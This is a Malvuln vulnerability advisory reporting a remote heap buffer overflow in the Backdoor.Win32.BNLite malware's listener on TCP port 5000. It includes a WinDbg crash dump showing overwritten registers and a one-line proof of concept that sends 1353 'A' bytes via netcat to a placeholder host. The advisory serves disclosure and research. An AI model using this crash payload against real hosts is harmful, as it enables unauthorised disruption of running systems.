Backdoor.Win32.BNLite Buffer Overflow

Backdoor.Win32.BNLite malware suffers from a buffer overflow vulnerability.


MD5 | 4403592f49298819043548c0dacad82b

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9cec5a23887f0c73148ab3ea147a6fa4.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BNLite
Vulnerability: Remote Heap Based Buffer Overflow
Description: The malware listens on TCP port 5000. Third party attackers who can reach the system can send a specially crafted payload to trigger a heap based buffer overflow overwriting the ECX, EDX and lower 16-bits (half) of EAX corrupting memory located on the heap.
Type: PE32
MD5: 9cec5a23887f0c73148ab3ea147a6fa4
Vuln ID: MVID-2021-0429
Dropped files: BNLIMNL.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 12/16/2021

Memory Dump:
(73c.9a4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=41414141 esi=00000003 edi=00000003
eip=7770ed3c esp=0019f3b4 ebp=0019f544 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400 ret 14h

0:000> .ecxr
eax=00004141 ebx=024d4fc0 ecx=41414141 edx=41414141 esi=024d4fc8 edi=024a0000
eip=776e2d6a esp=0019fcf0 ebp=0019feb0 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
ntdll!RtlpAllocateHeap+0x37a:
776e2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for BNLIMNL.exe
*** ERROR: Module load completed but symbols could not be loaded for BNLIMNL.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
ntdll!RtlpAllocateHeap+37a
776e2d6a 8b09 mov ecx,dword ptr [ecx]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 776e2d6a (ntdll!RtlpAllocateHeap+0x0000037a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME: BNLIMNL.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 41414141

READ_ADDRESS: 41414141

FOLLOWUP_IP:
BNLIMNL+1966
00401966 a3c6304000 mov dword ptr [BNLIMNL+0x30c6 (004030c6)],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 000009a4

BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 776e16b7 to 776e2d6a

STACK_TEXT:
0019feb0 776e16b7 00000449 00000458 024a6400 ntdll!RtlpAllocateHeap+0x37a
0019ff00 776e13ee 00100008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7
0019ff18 74a10cd4 024a0000 00100008 00000449 ntdll!RtlAllocateHeap+0x3e
0019ff68 00401966 00000040 00000449 0019ff94 KERNELBASE!GlobalAlloc+0x64
WARNING: Stack unwind information not available. Following frames may be wrong.
0019ff78 0040125b 0000035c 77408654 002f7000 BNLIMNL+0x1966
0019ff94 77704a77 002f7000 b7b1d83f 00000000 BNLIMNL+0x125b
0019ffdc 77704a47 ffffffff 77729edc 00000000 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 00401000 002f7000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: !heap ; ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX: 4

SYMBOL_NAME: BNLIMNL+1966

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: BNLIMNL

IMAGE_NAME: BNLIMNL.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 3aa07951

FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141_c0000005_BNLIMNL.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_BNLIMNL+1966


Exploit/PoC:
python -c "print('A'*1353)" | nc64.exe MALWARE_HOST 5000


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts